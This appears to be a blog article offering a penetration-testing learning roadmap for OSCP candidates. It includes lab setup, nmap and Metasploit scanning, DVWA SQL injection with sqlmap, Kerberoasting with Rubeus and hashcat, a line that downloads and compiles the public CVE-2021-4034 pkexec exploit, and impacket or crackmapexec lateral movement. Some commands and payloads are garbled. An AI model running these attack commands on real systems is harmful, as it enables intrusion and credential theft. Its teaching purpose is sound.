Listen to this Post
Introduction:
The gap between “wanting to hack” and earning a CEH or OSCP certification is littered with broken terminals and abandoned virtual machines. Most aspiring penetration testers fail not because of a lack of talent, but because they attack the learning process backwards—running Metasploit before understanding TCP handshakes. This article extracts the proven 5-phase roadmap from industry veteran Okan YILDIZ, adds technical deep-dives with verified commands for Linux and Windows, and shows you exactly how to build a home lab, master reconnaissance, exploit web vulnerabilities, and pivot through Active Directory like a real red teamer.
Learning Objectives:
- Build a legal hacking lab using VirtualBox and Kali Linux, including network isolation and snapshot management.
- Execute reconnaissance and scanning with Nmap, Wireshark, and Metasploit, then interpret results for privilege escalation.
- Exploit and mitigate OWASP Top 10 vulnerabilities (SQLi, XSS, IDOR) using DVWA and Burp Suite.
- Perform Active Directory attacks, lateral movement, and post-exploitation on Windows/Linux environments.
You Should Know:
- Building Your Hacking Lab: Kali + VirtualBox (The Step‑by‑Step Foundation)
Skipping the lab is the 1 reason beginners quit. You need an isolated, legal environment to break things without going to jail. Here’s the exact setup used by OSCP candidates.
What this does: Creates a virtualized network where Kali Linux (attacker) targets vulnerable VMs like Metasploitable or Windows 10 without touching your host OS.
Step‑by‑step guide:
- Download and install VirtualBox from virtualbox.org. On Windows, run the installer as Administrator; on Linux, use:
sudo apt update && sudo apt install virtualbox -y
- Download Kali Linux (pre-built VirtualBox image) from kali.org. Import the `.ova` file via
File > Import Appliance. - Create a vulnerable target – Install Metasploitable 2 (Ubuntu 8.04 with intentional holes):
wget https://sourceforge.net/projects/metasploitable/files/Metasploitable2.zip unzip Metasploitable2.zip && unzip Metasploitable.vmdk.zip
In VirtualBox, create a new VM, use existing disk, and select the
.vmdk. - Network configuration: Set both VMs to “Host-only Adapter” or “NAT Network” to isolate them from your main network. For OSCP-style, use NAT Network:
VBoxManage natnetwork add --netname hacklab --network "10.0.2.0/24" --enable VBoxManage modifyvm "Kali" --nic1 natnetwork --nat-network1 hacklab
- Verify connectivity: In Kali, `ip a` to see IP (e.g., 10.0.2.4). Then ping target:
nmap -sn 10.0.2.0/24
You should see both IPs. Take a snapshot before each attack.
2. Mastering Recon with Nmap, Wireshark & Metasploit
Reconnaissance is 80% of hacking. You can’t exploit what you can’t see. These tools turn raw packets into attack vectors.
What this does: Discovers live hosts, open ports, services, and potential vulnerabilities on a target network. Then captures traffic and launches initial exploits.
Step‑by‑step guide:
1. Nmap host discovery (find all live devices):
nmap -sn 10.0.2.0/24 ping sweep
2. Service and version scan (identify what’s running):
nmap -sV -sC -O 10.0.2.5 -p- --min-rate 1000
– -sV: service version, -sC: default scripts, -O: OS detection, -p-: all 65535 ports.
3. Traffic analysis with Wireshark: Start capture on Kali’s eth0, filter `tcp.port == 80` or http.request. Look for cookies, user agents, or exposed tokens.
4. Metasploit basic reconnaissance:
msfconsole msf6 > use auxiliary/scanner/portscan/tcp msf6 > set RHOSTS 10.0.2.5, set PORTS 1-1000, run
5. Export results: `nmap -oA metasploitable_scan 10.0.2.5` creates .nmap, .xml, `.gnmap` for reporting.
- Web Attack Surface: OWASP Top 10 in Practice (SQLi & XSS)
Real-world breaches start with web apps. This section shows how to manually test for SQL injection and cross-site scripting using DVWA.
What this does: Demonstrates how to extract database credentials and execute malicious scripts via input fields – then how to patch them.
Step‑by‑step guide:
- Install DVWA on a Ubuntu VM or Docker:
git clone https://github.com/digininja/DVWA.git cd DVWA/config && cp config.inc.php.dist config.inc.php sudo docker run --rm -p 80:80 vulnerables/web-dvwa
Access `http://localhost/setup.php` and create database.
- SQL injection (manual): Navigate to DVWA → SQL Injection. Input `’ OR ‘1’=’1′ — -` into the user ID field. This returns all users. For automated extraction:
sqlmap -u "http://10.0.2.5/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=abc123" --dbs
- Cross-site scripting (reflected): Go to XSS (Reflected), enter `` in the name field. The popup proves code execution.
- Mitigation: Use parameterized queries (e.g.,
$stmt = $conn->prepare("SELECT FROM users WHERE id = ?");). For XSS, encode output:htmlspecialchars($input, ENT_QUOTES, 'UTF-8').
5. Practice on WebGoat (OWASP’s deliberately insecure app):
docker run -p 8080:8080 webgoat/goatandwolf
Browse to `localhost:8080/WebGoat`.
- Network Pentesting: Active Directory Attacks & Privilege Escalation (Linux/Windows)
This is where OSCP separates hobbyists from professionals. You’ll learn to move laterally and escalate from low-privilege user to Domain Admin.
What this does: Simulates a compromised workstation, then uses Kerberoasting, Pass-the-Hash, and Linux kernel exploits to gain root.
Step‑by‑step guide (Windows AD focus):
1. Enumerate AD users with BloodHound (on Kali):
sudo apt install bloodhound neo4j sudo neo4j console start database, then run bloodhound
On Windows target (as low-priv user), run SharpHound:
.\SharpHound.exe -c All --domaindomain.com
Drag the zip into BloodHound GUI.
2. Kerberoasting (crack service account passwords):
On Windows with Rubeus .\Rubeus.exe kerberoast /outfile:hashes.txt
Then crack on Kali:
sudo hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
3. Linux privilege escalation (find SUID binaries):
find / -perm -4000 2>/dev/null list SUID files If /usr/bin/pkexec is SUID, exploit CVE-2021-4034: wget https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034-poc.c gcc cve-2021-4034-poc.c -o exploit && ./exploit (run only in lab)
4. Lateral movement with PsExec (Windows):
impacket-psexec domain/user:password@target_ip
Or on Kali: `crackmapexec smb 10.0.2.10 -u admin -p hash -x “whoami”`
5. Report Writing & OSCP Exam Prep (The Skill That Gets You Hired)
No report = no job. The OSCP exam is 24 hours of hacking plus 24 hours of documentation. This is the most underrated part of the roadmap.
What this does: Transforms raw exploit output into a professional penetration test report with executive summary, findings, screenshots, and remediation steps.
Step‑by‑step guide:
- Use a structured template – OSCP-style template from OffSec’s guide. Required sections: Executive Summary, Methodology, Findings (with CVSS scores), Proof (screenshots of flags and exploits).
2. Automate evidence collection:
Save all terminal sessions script -f /root/oscp_log_$(date +%Y%m%d_%H%M%S).txt Then run commands, exit script when done.
For Windows: `Start-Transcript -Path “C:\evidence\log.txt”`
- Screenshot best practices – Use `gnome-screenshot -a` (Kali) or `Shift+Win+S` (Windows). Capture the command, output, and flag in one image. Never crop out timestamps.
- Write remediation steps – For each finding, include specific commands. Example for SQLi: “Use prepared statements – in PHP:
$stmt = $pdo->prepare('SELECT FROM users WHERE email = :email');” - Practice reporting on Hack The Box – After rooting a machine, write a full report. Join HTB Business for team assessments.
What Undercode Say:
- Consistency over talent – The roadmap’s 4–8 week foundation phase is non-negotiable. Most successful OSCP holders failed at least three practice exams before passing.
- Tool mastery beats tool hoarding – Knowing Nmap’s scripting engine (
--script vuln) or Burp’s intruder payloads deeply is worth more than surface knowledge of 20 tools. Master one, then branch. - Reporting is a technical skill – If you can’t explain a Kerberoasting attack in writing with clear reproduction steps, you are not a professional pentester. Automate logs and screenshots from day one.
Prediction:
By 2027, AI-driven offensive tools (like Auto-GPT for recon) will automate 60% of initial enumeration and low-hanging vulnerabilities. However, human-led Active Directory attacks, custom exploit chaining, and report writing will become premium services – increasing demand for OSCP-level practitioners who understand why a misconfiguration exists, not just how to run nmap --script vuln. Expect salaries for OSCP-certified engineers to exceed $140k as companies harden cloud and hybrid AD environments. The “zero to hacker” roadmap will shift from pure tooling to a hybrid of AI-assisted reconnaissance and manual lateral movement – but the foundations of networking, Linux, and Python will remain non-negotiable. Start your lab today.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Yildizokan Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
